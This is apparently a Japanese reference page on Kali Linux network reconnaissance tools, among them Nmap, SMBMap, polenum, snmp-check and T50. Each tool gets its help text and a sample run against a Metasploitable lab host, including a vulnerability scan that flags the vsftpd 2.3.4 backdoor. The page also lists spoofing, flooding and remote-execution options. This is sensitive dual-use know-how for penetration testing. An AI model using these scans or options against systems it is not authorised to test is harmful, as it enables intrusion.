  -s time: time to sleep between each ARP request (milliseconds)
  -c count: number of times to send each ARP request (for nets with packet loss)
  -n node: last source IP octet used for scanning (from 2 to 253)
  -d ignore home config files for autoscan and fast mode
  -f enable fastmode scan, saves a lot of time, recommended for auto
  -P print results in a format suitable for parsing by another program and stop after active scan
  -L similar to -P but continue listening after the active scan is completed
  -N Do not print header. Only valid when -P or -L is enabled.
  -S enable sleep time suppression between each request (hardcore mode)

If -r, -l or -p are not enabled, netdiscover will scan for common LAN addresses.

■ 使用例

root@kali:~# netdiscover -i eth0 -r 192.168.11.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts

6 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 360
_____________________________________________________________________________
IP            At MAC Address     Count     Len  MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.11.1    d4:2c:46:be:0f:60      3     180  BUFFALO.INC
192.168.11.4    dc:a2:66:20:35:65      1      60  Hon Hai Precision Ind., Co., Ltd.
192.168.11.3    dc:fb:48:75:75:0b      1      60  Intel Corporate
192.168.11.5    68:9a:87:cb:db:8a      1      60  Amazon Technologies Inc.

netscanner

ネットワーク内のホストの検出、パケットダンプやポートのスキャンなどをGUIのようなインターフェースから行うことが出来ます。

■ 使用方法

root@kali:~# netscanner --help

Usage: netscanner [OPTIONS]

Options:
  -t, --tick-rate <FLOAT>   Tick rate, i.e. number of ticks per second [default: 1]
  -f, --frame-rate <FLOAT>  Frame rate, i.e. number of frames per second [default: 10]
  -h, --help                Print help
  -V, --version             Print version

■ 使用例

root@kali:~# netscanner

コマンドを実行するとCLI上にGUI風の画面が表示される

画面を切り替えてパケットのダンプやポートスキャンの結果などを確認可能

nextnet

ネットワーク上のNetBIOSが起動しているホストを探索します。

■ 使用方法

root@kali:~# nextnet --help
Usage: nextnet [cidr] ... [cidr]

Options:
  -rate int
        Set the maximum packets per second rate (default 1000)
  -version
        Show the application version

■ 使用例

root@kali:~# nextnet 192.168.11.0/24
{"host":"192.168.11.4","port":"137","proto":"udp","probe":"netbios","name":"B776FBD9255F","nets":["192.168.11.4"],"info":{"domain":"WORKGROUP"}}

Nmap

多くのポートスキャン技術、バージョン検出、TCP/IPフィンガープリントをサポートしたネットワークスキャナーです。

■ 使用方法

root@kali:~# nmap

Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iL <inputfilename>: Input from list of hosts/networks
  -iR <num hosts>: Choose random targets
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
  -sL: List Scan - simply list targets to scan
  -sn: Ping Scan - disable port scan
  -Pn: Treat all hosts as online -- skip host discovery
  -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
  -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
  -PO[protocol list]: IP Protocol Ping
  -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
  --dns-servers <serv1[,serv2],...>: Specify custom DNS servers
  --system-dns: Use OS\'s DNS resolver
  --traceroute: Trace hop path to each host
SCAN TECHNIQUES:
  -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
  -sU: UDP Scan
  -sN/sF/sX: TCP Null, FIN, and Xmas scans
  --scanflags <flags>: Customize TCP scan flags
  -sI <zombie host[:probeport]>: Idle scan
  -sY/sZ: SCTP INIT/COOKIE-ECHO scans
  -sO: IP protocol scan
  -b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
  -p <port ranges>: Only scan specified ports
    Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
  --exclude-ports <port ranges>: Exclude the specified ports from scanning
  -F: Fast mode - Scan fewer ports than the default scan
  -r: Scan ports sequentially - don\'t randomize
  --top-ports <number>: Scan <number> most common ports
  --port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
  -sV: Probe open ports to determine service/version info
  --version-intensity <level>: Set from 0 (light) to 9 (try all probes)
  --version-light: Limit to most likely probes (intensity 2)
  --version-all: Try every single probe (intensity 9)
  --version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
  -sC: equivalent to --script=default
  --script=<Lua scripts>: <Lua scripts> is a comma separated list of
           directories, script-files or script-categories
  --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
  --script-args-file=filename: provide NSE script args in a file
  --script-trace: Show all data sent and received
  --script-updatedb: Update the script database.
  --script-help=<Lua scripts>: Show help about scripts.
           <Lua scripts> is a comma-separated list of script-files or
           script-categories.
OS DETECTION:
  -O: Enable OS detection
  --osscan-limit: Limit OS detection to promising targets
  --osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, or append 'ms' (milliseconds),
  's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  -T<0-5>: Set timing template (higher is faster)
  --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
  --min-parallelism/max-parallelism <numprobes>: Probe parallelization
  --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
      probe round trip time.
  --max-retries <tries>: Caps number of port scan probe retransmissions.
  --host-timeout <time>: Give up on target after this long
  --scan-delay/--max-scan-delay <time>: Adjust delay between probes
  --min-rate <number>: Send packets no slower than <number> per second
  --max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
  -f; --mtu <val>: fragment packets (optionally w/given MTU)
  -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
  -S <IP_Address>: Spoof source address
  -e <iface>: Use specified interface
  -g/--source-port <portnum>: Use given port number
  --proxies <url1,[url2],...>: Relay connections through HTTP/SOCKS4 proxies
  --data <hex string>: Append a custom payload to sent packets
  --data-string <string>: Append a custom ASCII string to sent packets
  --data-length <num>: Append random data to sent packets
  --ip-options <options>: Send packets with specified ip options
  --ttl <val>: Set IP time-to-live field
  --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
  --badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
  -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
     and Grepable format, respectively, to the given filename.
  -oA <basename>: Output in the three major formats at once
  -v: Increase verbosity level (use -vv or more for greater effect)
  -d: Increase debugging level (use -dd or more for greater effect)
  --reason: Display the reason a port is in a particular state
  --open: Only show open (or possibly open) ports
  --packet-trace: Show all packets sent and received
  --iflist: Print host interfaces and routes (for debugging)
  --append-output: Append to rather than clobber specified output files
  --resume <filename>: Resume an aborted scan
  --noninteractive: Disable runtime interactions via keyboard
  --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
  --webxml: Reference stylesheet from Nmap.Org for more portable XML
  --no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
  -6: Enable IPv6 scanning
  -A: Enable OS detection, version detection, script scanning, and traceroute
  --datadir <dirname>: Specify custom Nmap data file location
  --send-eth/--send-ip: Send using raw ethernet frames or IP packets
  --privileged: Assume that the user is fully privileged
  --unprivileged: Assume the user lacks raw socket privileges
  -V: Print version number
  -h: Print this help summary page.

■ 使用例

# ポートスキャン＋OSやソフトウェアのバージョンの検出を有効化
root@kali:~# nmap -A -T4 192.168.11.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 09:28 UTC
PORT     STATE    SERVICE     VERSION
21/tcp   open     ftp         vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.11.4
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open     ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open     telnet      Linux telnetd
25/tcp   open     smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|_    SSL2_RC4_128_WITH_MD5
|_ssl-date: 2024-10-30T09:31:52+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
80/tcp   open     http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
[...]

# ACKスキャンでファイアウォールによるフィルタリングをチェック
root@kali:~# nmap -sA --top-ports 10 192.168.11.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 00:03 UTC
PORT     STATE      SERVICE
21/tcp   unfiltered ftp
22/tcp   unfiltered ssh
23/tcp   filtered   telnet
25/tcp   unfiltered smtp
80/tcp   unfiltered http
110/tcp  unfiltered pop3
139/tcp  unfiltered netbios-ssn
443/tcp  unfiltered https
445/tcp  unfiltered microsoft-ds
3389/tcp unfiltered ms-wbt-server

# ポートスキャン＋ソフトウェアの脆弱性の検出を有効化
root@kali:~# nmap --script=vuln 192.168.11.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 09:18 UTC
PORT     STATE SERVICE      REASON
21/tcp   open  ftp          syn-ack ttl 64
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  BID:48539  CVE:CVE-2011-2523
|       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|     Disclosure date: 2011-07-03
|     Exploit results:
|       Shell command: id
|       Results: uid=0(root) gid=0(root)
|     References:
|       https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|       http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|       https://www.securityfocus.com/bid/48539
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
22/tcp   open  ssh          syn-ack ttl 64
23/tcp   open  telnet       syn-ack ttl 64
25/tcp   open  smtp         syn-ack ttl 64
|_sslv2-drown: ERROR: Script execution failed (use -d to debug)
| ssl-dh-params:
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use anonymous
|       Diffie-Hellman key exchange only provide protection against passive
|       eavesdropping, and are vulnerable to active man-in-the-middle attacks
|       which could completely compromise the confidentiality and integrity
|       of any data exchanged over the resulting session.
|     Check results:
[...]

NmapSI4

NmapをGUIから操作・結果の確認を行うことが出来ます。

■ 使用例

Pnscan

大規模ネットワークのポートスキャンをマルチスレッドで高速に行います。

■ 使用方法

root@kali:~# pnscan -h

Usage: pnscan [<options>] [{<CIDR>|<host-range> <port-range>} | <service>]

Command line options:
        -h             Display this information.
        -V             Print version.
        -v             Be verbose.
        -d             Print debugging info.
        -s             Lookup and print hostnames.
        -i             Ignore case when scanning responses.
        -S             Enable shutdown mode.
        -l             Line oriented output.
        -w<string>     Request string to send.
        -W<hex list>   Hex coded request string to send.
        -r<string>     Response string to look for.
        -R<hex list>   Hex coded response string to look for.
        -L<length>     Max bytes to print.
        -t<msecs>      Connect/Write/Read timeout.
        -n<workers>    Concurrent worker threads limit.

■ 使用例

root@kali:~# pnscan 192.168.11.0/24 20:25
192.168.11.4      :    21 : TXT : 220 (vsFTPd 2.3.4)\r\n
192.168.11.4      :    23 : TEL : <IAC><DO>\x18<IAC><DO> <IAC><DO>#<IAC><DO>
192.168.11.4      :    22 : TXT : SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1\n
192.168.11.5      :    22 : TXT : SSH-2.0-OpenSSH_9.9p1 Debian-3\r\n
192.168.11.4      :    25 : TXT : 220 kali.localdomain ESMTP Postfix (Ubuntu)\r\n

polenum

ドメインコントローラーのパスワードポリシーを抽出します。

■ 使用方法

root@kali:~# polenum --help

usage: polenum [-h] [--username USERNAME] [--password PASSWORD] [--domain DOMAIN] [--protocols [PROTOCOLS ...]] [enum4linux]

positional arguments:
  enum4linux            username:password@IPaddress

options:
  -h, --help            show this help message and exit
  --username USERNAME, -u USERNAME
                        The specified username
  --password PASSWORD, -p PASSWORD
                        The password of the user
  --domain DOMAIN, -d DOMAIN
                        The domain or IP
  --protocols [PROTOCOLS ...]
                        ['139/SMB', '445/SMB']

■ 使用例

root@kali:~# polenum hello:HelloWorld123@192.168.11.4


[+] Attaching to 192.168.11.4 using hello:HelloWorld123

[+] Trying protocol 139/SMB...

[+] Found domain(s):

        [+] EXAMPLE
        [+] BUILTIN

[+] Password Info for Domain: EXAMPLE

        [+] Minimum password length: 7
        [+] Password history length: 24
        [+] Maximum password age: 41 days 23 hours 53 minutes
        [+] Password Complexity Flags: 000001

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 1

        [+] Minimum password age: 1 day 4 minutes
        [+] Reset Account Lockout Counter: 30 minutes
        [+] Locked Account Duration: 30 minutes
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: Not Set

SMBMap

ネットワーク共有フォルダ（SMB）を探索します。

■ 使用方法

root@kali:~# smbmap --help

usage: smbmap [-h] (-H HOST | --host-file FILE) [-u USERNAME] [-p PASSWORD | --prompt] [-k] [--no-pass] [--dc-ip IP or Host]
              [-s SHARE] [-d DOMAIN] [-P PORT] [-v] [--signing] [--admin] [--no-banner] [--no-color] [--no-update]
              [--timeout SCAN_TIMEOUT] [-x COMMAND] [--mode CMDMODE] [-L | -r [PATH]] [-g FILE | --csv FILE] [--dir-only]
              [--no-write-check] [-q] [--depth DEPTH] [--exclude SHARE [SHARE ...]] [-A PATTERN] [-F PATTERN]
              [--search-path PATH] [--search-timeout TIMEOUT] [--download PATH] [--upload SRC DST] [--delete PATH TO FILE]
              [--skip]

options:
  -h, --help            show this help message and exit

Main arguments:
  -H HOST               IP or FQDN
  --host-file FILE      File containing a list of hosts
  -u USERNAME, --username USERNAME
                        Username, if omitted null session assumed
  -p PASSWORD, --password PASSWORD
                        Password or NTLM hash, format is LMHASH:NTHASH
  --prompt              Prompt for a password
  -s SHARE              Specify a share (default C$), ex 'C$'
  -d DOMAIN             Domain name (default WORKGROUP)
  -P PORT               SMB port (default 445)
  -v, --version         Return the OS version of the remote host
  --signing             Check if host has SMB signing disabled, enabled, or required
  --admin               Just report if the user is an admin
  --no-banner           Removes the banner from the top of the output
  --no-color            Removes the color from output
  --no-update           Removes the "Working on it" message
  --timeout SCAN_TIMEOUT
                        Set port scan socket timeout. Default is .5 seconds

Kerberos settings:
  -k, --kerberos        Use Kerberos authentication
  --no-pass             Use CCache file (export KRB5CCNAME='~/current.ccache')
  --dc-ip IP or Host    IP or FQDN of DC

Command Execution:
  Options for executing commands on the specified host

  -x COMMAND            Execute a command ex. 'ipconfig /all'
  --mode CMDMODE        Set the execution method, wmi or psexec, default wmi

Shard drive Search:
  Options for searching/enumerating the share of the specified host(s)

  -L                    List all drives on the specified host, requires ADMIN rights.
  -r [PATH]             Recursively list dirs and files (no share\path lists the root of ALL shares), ex. 'email/backup'
  -g FILE               Output to a file in a grep friendly format, used with -r (otherwise it outputs nothing), ex -g
                        grep_out.txt
  --csv FILE            Output to a CSV file, ex --csv shares.csv
  --dir-only            List only directories, ommit files.
  --no-write-check      Skip check to see if drive grants WRITE access.
  -q                    Quiet verbose output. Only shows shares you have READ or WRITE on, and suppresses file listing when
                        performing a search (-A).
  --depth DEPTH         Traverse a directory tree to a specific depth. Default is 1 (root node).
  --exclude SHARE [SHARE ...]
                        Exclude share(s) from searching and listing, ex. --exclude ADMIN$ C\$\'
  -A PATTERN            Define a file name pattern (regex) that auto downloads a file on a match (requires -r), not case
                        sensitive, ex '(web|global).(asax|config)'

File Content Search:
  Options for searching the content of files (must run as root), kind of experimental

  -F PATTERN            File content search, -F '[Pp]assword' (requires admin access to execute commands, and PowerShell on
                        victim host)
  --search-path PATH    Specify drive/path to search (used with -F, default C:\Users), ex 'D:\HR\'
  --search-timeout TIMEOUT
                        Specifcy a timeout (in seconds) before the file search job gets killed. Default is 300 seconds.

Filesystem interaction:
  Options for interacting with the specified host\'s filesystem

  --download PATH       Download a file from the remote system, ex.'C$\temp\passwords.txt'
  --upload SRC DST      Upload a file to the remote system ex. '/tmp/payload.exe C$\temp\payload.exe'
  --delete PATH TO FILE
                        Delete a remote file, ex. 'C$\temp\msf.exe'
  --skip                Skip delete file confirmation prompt

■ 使用例

root@kali:~# smbmap -u hello -p hello -H 192.168.11.4

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 192.168.11.4:445  Name: server4test.local     Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  READ ONLY       Printer Drivers
        tmp                                                     READ, WRITE     oh noes!
        opt                                                     READ ONLY
        IPC$                                                    NO ACCESS       IPC Service (61154d1295a0 server (Samba 3.0.20-Debian))
        ADMIN$                                                  NO ACCESS       IPC Service (61154d1295a0 server (Samba 3.0.20-Debian))
        hello                                                   READ, WRITE     Home Directories
[*] Closed 1 connections

Snmpcheck

SNMPエージェントから値を読み取り、読みやすい形式で出力します。

■ 使用方法

root@kali:~# snmp-check --help
snmp-check v1.9 - SNMP enumerator

 Usage: snmp-check [OPTIONS] <target IP address>

  -p --port        : SNMP port. Default port is 161;
  -c --community   : SNMP community. Default is public;
  -v --version     : SNMP version (1,2c). Default is 1;

  -w --write       : detect write access (separate action by enumeration);

  -d --disable_tcp : disable TCP connections enumeration!
  -t --timeout     : timeout in seconds. Default is 5;
  -r --retries     : request retries. Default is 1;
  -i --info        : show script version;
  -h --help        : show help menu;

■ 使用例

root@kali:~# snmp-check 192.168.11.4

[+] Try to connect to 192.168.11.4:161 using SNMPv1 and community 'public'

[*] System information:

  Host IP address               : 192.168.11.4
  Hostname                      : 61154d1295a0
  Description                   : Linux server4test 5.15.153.1 #1 SMP Fri Mar 29 23:14:13 UTC 2024 x86_64
  Contact                       : msfdev@metasploit.com
  Location                      : Metasploit Lab
  Uptime snmp                   : 13:57:03.87
  Uptime system                 : 00:00:58.58
  System date                   : 2024-11-14 06:42:04.0
[...]
[*] TCP connections and listening ports:

  Local address         Local port            Remote address        Remote port           State
  0.0.0.0               21                    0.0.0.0               0                     listen
  0.0.0.0               23                    0.0.0.0               0                     listen
  0.0.0.0               25                    0.0.0.0               0                     listen
  0.0.0.0               80                    0.0.0.0               0                     listen
  0.0.0.0               111                   0.0.0.0               0                     listen
  0.0.0.0               139                   0.0.0.0               0                     listen
  0.0.0.0               445                   0.0.0.0               0                     listen
  0.0.0.0               512                   0.0.0.0               0                     listen
  0.0.0.0               513                   0.0.0.0               0                     listen
  0.0.0.0               514                   0.0.0.0               0                     listen
  0.0.0.0               1099                  0.0.0.0               0                     listen
[...]
[*] Storage information:

  Description                   : ["Physical memory"]
  Device id                     : [#<SNMP::Integer:0x00007f312a0025c8 @value=1>]
  Filesystem type               : ["unknown"]
  Device unit                   : [#<SNMP::Integer:0x00007f312a000980 @value=1024>]
  Memory size                   : 7.71 GB
  Memory used                   : 1.66 GB
[...]

T50

任意のデータパケットを作成して負荷テストなどを行うためのツールです。標準プロトコル (ICMP、TCP、UDP)、インフラストラクチャ固有のプロトコル (GRE、IPSec、RSVP)、ルーティングプロトコル (RIP、EIGRP、OSPF)など複数のプロトコルに対応しています。

■ 使用方法

root@kali:~# t50 --help

Usage: t50 <host[/cidr]> [options]
Common Options:
    --threshold NUM           Threshold of packets to send     (default 1000)
    --flood                   This option supersedes the 'threshold'
    --encapsulated            Encapsulated protocol (GRE)      (default OFF)
 -B,--bogus-csum              Bogus checksum                   (default OFF)
    --shuffle                 Shuffling for T50 protocol       (default OFF)
 -q,--quiet                   Disable INFOs
    --turbo                   Extend the performance           (default OFF)
 -l,--list-protocols          List all available protocols
 -v,--version                 Print version and exit
 -h,--help                    Display this help and exit

GRE Options:
    --gre-seq-present         GRE sequence # present           (default OFF)
    --gre-key-present         GRE key present                  (default OFF)
    --gre-sum-present         GRE checksum present             (default OFF)
    --gre-key NUM             GRE key                          (default RANDOM)
    --gre-sequence NUM        GRE sequence #                   (default RANDOM)
    --gre-saddr ADDR          GRE IP source IP address         (default RANDOM)
    --gre-daddr ADDR          GRE IP destination IP address    (default RANDOM)

DCCP/TCP/UDP Options:
    --sport NUM               DCCP|TCP|UDP source port         (default RANDOM)
    --dport NUM               DCCP|TCP|UDP destination port    (default RANDOM)

TCP Options:
    --ack-seq NUM             TCP ACK sequence #               (default RANDOM)
    --sequence NUM            TCP SYN sequence #               (default RANDOM)
    --data-offset NUM         TCP data offset                  (default 5)
 -F,--fin                     TCP FIN flag                     (default OFF)
 -S,--syn                     TCP SYN flag                     (default OFF)
 -R,--rst                     TCP RST flag                     (default OFF)
 -P,--psh                     TCP PSH flag                     (default OFF)
 -A,--ack                     TCP ACK flag                     (default OFF)
 -U,--urg                     TCP URG flag                     (default OFF)
 -E,--ece                     TCP ECE flag                     (default OFF)
 -C,--cwr                     TCP CWR flag                     (default OFF)
 -W,--window NUM              TCP Window size                  (default NONE)
    --urg-pointer NUM         TCP URG pointer                  (default NONE)
    --mss NUM                 TCP Maximum Segment Size         (default NONE)
    --wscale NUM              TCP Window Scale                 (default NONE)
    --tstamp NUM:NUM          TCP Timestamp (TSval:TSecr)      (default NONE)
    --sack-ok                 TCP SACK-Permitted               (default OFF)
    --ttcp-cc NUM             T/TCP Connection Count (CC)      (default NONE)
    --ccnew NUM               T/TCP Connection Count (CC.NEW)  (default NONE)
    --ccecho NUM              T/TCP Connection Count (CC.ECHO) (default NONE)
    --sack NUM:NUM            TCP SACK Edges (Left:Right)      (default NONE)
    --md5-signature           TCP MD5 signature included       (default OFF)
    --authentication          TCP-AO authentication included   (default OFF)
    --auth-key-id NUM         TCP-AO authentication key ID     (default 1)
    --auth-next-key NUM       TCP-AO authentication next key   (default 1)
    --nop                     TCP No-Operation                 (default EOL)

IP Options:
 -s,--saddr ADDR              IP source IP address             (default RANDOM)
    --tos NUM                 IP type of service               (default 0x40)
    --id NUM                  IP identification                (default RANDOM)
    --frag-offset NUM         IP fragmentation offset          (default 0)
    --ttl NUM                 IP time to live                  (default 255)
    --protocol PROTO          IP protocol                      (default TCP)

ICMP Options:
    --icmp-type NUM           ICMP type                        (default 8)
    --icmp-code NUM           ICMP code                        (default 0)
    --icmp-gateway ADDR       ICMP redirect gateway            (default RANDOM)
    --icmp-id NUM             ICMP identification              (default RANDOM)
    --icmp-sequence NUM       ICMP sequence #                  (default RANDOM)

EGP Options:
    --egp-type NUM            EGP type                         (default 3)
    --egp-code NUM            EGP code                         (default 3)
    --egp-status NUM          EGP status                       (default 1)
    --egp-as NUM              EGP autonomous system            (default RANDOM)
    --egp-sequence NUM        EGP sequence #                   (default RANDOM)
    --egp-hello NUM           EGP hello interval               (default RANDOM)
    --egp-poll NUM            EGP poll interval                (default RANDOM)

RIP Options:
    --rip-command NUM         RIPv1/v2 command                 (default 2)
    --rip-family NUM          RIPv1/v2 address family          (default 2)
    --rip-address ADDR        RIPv1/v2 router address          (default RANDOM)
    --rip-metric NUM          RIPv1/v2 router metric           (default RANDOM)
    --rip-domain NUM          RIPv2 router domain              (default RANDOM)
    --rip-tag NUM             RIPv2 router tag                 (default RANDOM)
    --rip-netmask ADDR        RIPv2 router subnet mask         (default RANDOM)
    --rip-next-hop ADDR       RIPv2 router next hop            (default RANDOM)
    --rip-authentication      RIPv2 authentication included    (default OFF)
    --rip-auth-key-id NUM     RIPv2 authentication key ID      (default 1)
    --rip-auth-sequence NUM   RIPv2 authentication sequence #  (default RANDOM)

DCCP Options:
    --dccp-data-offset NUM    DCCP data offset                 (default VARY)
    --dccp-cscov NUM          DCCP checksum coverage           (default 0)
    --dccp-ccval NUM          DCCP HC-Sender CCID              (default RANDOM)
    --dccp-type NUM           DCCP type                        (default 0)
    --dccp-extended           DCCP extend for sequence #       (default OFF)
    --dccp-sequence-1 NUM     DCCP sequence #                  (default RANDOM)
    --dccp-sequence-2 NUM     DCCP extended sequence #         (default RANDOM)
    --dccp-sequence-3 NUM     DCCP sequence # low              (default RANDOM)
    --dccp-service NUM        DCCP service code                (default RANDOM)
    --dccp-acknowledge-1 NUM  DCCP acknowledgment # high       (default RANDOM)
    --dccp-acknowledge-2 NUM  DCCP acknowledgment # low        (default RANDOM)
    --dccp-reset-code NUM     DCCP reset code                  (default RANDOM)

RSVP Options:
    --rsvp-flags NUM          RSVP flags                       (default 1)
    --rsvp-type NUM           RSVP message type                (default 1)
    --rsvp-ttl NUM            RSVP time to live                (default 254)
    --rsvp-session-addr ADDR  RSVP SESSION destination address (default RANDOM)
    --rsvp-session-proto NUM  RSVP SESSION protocol ID         (default 1)
    --rsvp-session-flags NUM  RSVP SESSION flags               (default 1)
    --rsvp-session-port NUM   RSVP SESSION destination port    (default RANDOM)
    --rsvp-hop-addr ADDR      RSVP HOP neighbor address        (default RANDOM)
    --rsvp-hop-iface NUM      RSVP HOP logical interface       (default RANDOM)
    --rsvp-time-refresh NUM   RSVP TIME refresh interval       (default 360)
    --rsvp-error-addr ADDR    RSVP ERROR node address          (default RANDOM)
    --rsvp-error-flags NUM    RSVP ERROR flags                 (default 2)
    --rsvp-error-code NUM     RSVP ERROR code                  (default 2)
    --rsvp-error-value NUM    RSVP ERROR value                 (default 8)
    --rsvp-scope NUM          RSVP SCOPE # of address(es)      (default 1)
    --rsvp-address ADDR,...   RSVP SCOPE address(es)           (default RANDOM)
    --rsvp-style-option NUM   RSVP STYLE option vector         (default 18)
    --rsvp-sender-addr ADDR   RSVP SENDER TEMPLATE address     (default RANDOM)
    --rsvp-sender-port NUM    RSVP SENDER TEMPLATE port        (default RANDOM)
    --rsvp-tspec-traffic      RSVP TSPEC service traffic       (default OFF)
    --rsvp-tspec-guaranteed   RSVP TSPEC service guaranteed    (default OFF)
    --rsvp-tspec-r NUM        RSVP TSPEC token bucket rate     (default RANDOM)
    --rsvp-tspec-b NUM        RSVP TSPEC token bucket size     (default RANDOM)
    --rsvp-tspec-p NUM        RSVP TSPEC peak data rate        (default RANDOM)
    --rsvp-tspec-m NUM        RSVP TSPEC minimum policed unit  (default RANDOM)
    --rsvp-tspec-M NUM        RSVP TSPEC maximum packet size   (default RANDOM)
    --rsvp-adspec-ishop NUM   RSVP ADSPEC IS HOP count         (default RANDOM)
    --rsvp-adspec-path NUM    RSVP ADSPEC path b/w estimate    (default RANDOM)
    --rsvp-adspec-m NUM       RSVP ADSPEC minimum path latency (default RANDOM)
    --rsvp-adspec-mtu NUM     RSVP ADSPEC composed MTU         (default RANDOM)
    --rsvp-adspec-guaranteed  RSVP ADSPEC service guaranteed   (default OFF)
    --rsvp-adspec-Ctot NUM    RSVP ADSPEC ETE composed value C (default RANDOM)
    --rsvp-adspec-Dtot NUM    RSVP ADSPEC ETE composed value D (default RANDOM)
    --rsvp-adspec-Csum NUM    RSVP ADSPEC SLR point composed C (default RANDOM)
    --rsvp-adspec-Dsum NUM    RSVP ADSPEC SLR point composed D (default RANDOM)
    --rsvp-adspec-controlled  RSVP ADSPEC service controlled   (default OFF)
    --rsvp-confirm-addr ADDR  RSVP CONFIRM receiver address    (default RANDOM)

IPSEC Options:
    --ipsec-ah-length NUM     IPSec AH header length           (default NONE)
    --ipsec-ah-spi NUM        IPSec AH SPI                     (default RANDOM)
    --ipsec-ah-sequence NUM   IPSec AH sequence #              (default RANDOM)
    --ipsec-esp-spi NUM       IPSec ESP SPI                    (default RANDOM)
    --ipsec-esp-sequence NUM  IPSec ESP sequence #             (default RANDOM)

EIGRP Options:
    --eigrp-opcode NUM        EIGRP opcode                     (default 1)
    --eigrp-flags NUM         EIGRP flags                      (default RANDOM)
    --eigrp-sequence NUM      EIGRP sequence #                 (default RANDOM)
    --eigrp-acknowledge NUM   EIGRP acknowledgment #           (default RANDOM)
    --eigrp-as NUM            EIGRP autonomous system          (default RANDOM)
    --eigrp-type NUM          EIGRP type                       (default 258)
    --eigrp-length NUM        EIGRP length                     (default NONE)
    --eigrp-k1 NUM            EIGRP parameter K1 value         (default 1)
    --eigrp-k2 NUM            EIGRP parameter K2 value         (default 0)
    --eigrp-k3 NUM            EIGRP parameter K3 value         (default 1)
    --eigrp-k4 NUM            EIGRP parameter K4 value         (default 0)
    --eigrp-k5 NUM            EIGRP parameter K5 value         (default 0)
    --eigrp-hold NUM          EIGRP parameter hold time        (default 360)
    --eigrp-ios-ver NUM.NUM   EIGRP IOS release version        (default 12.4)
    --eigrp-rel-ver NUM.NUM   EIGRP PROTO release version      (default 1.2)
    --eigrp-next-hop ADDR     EIGRP [in|ex]ternal next-hop     (default RANDOM)
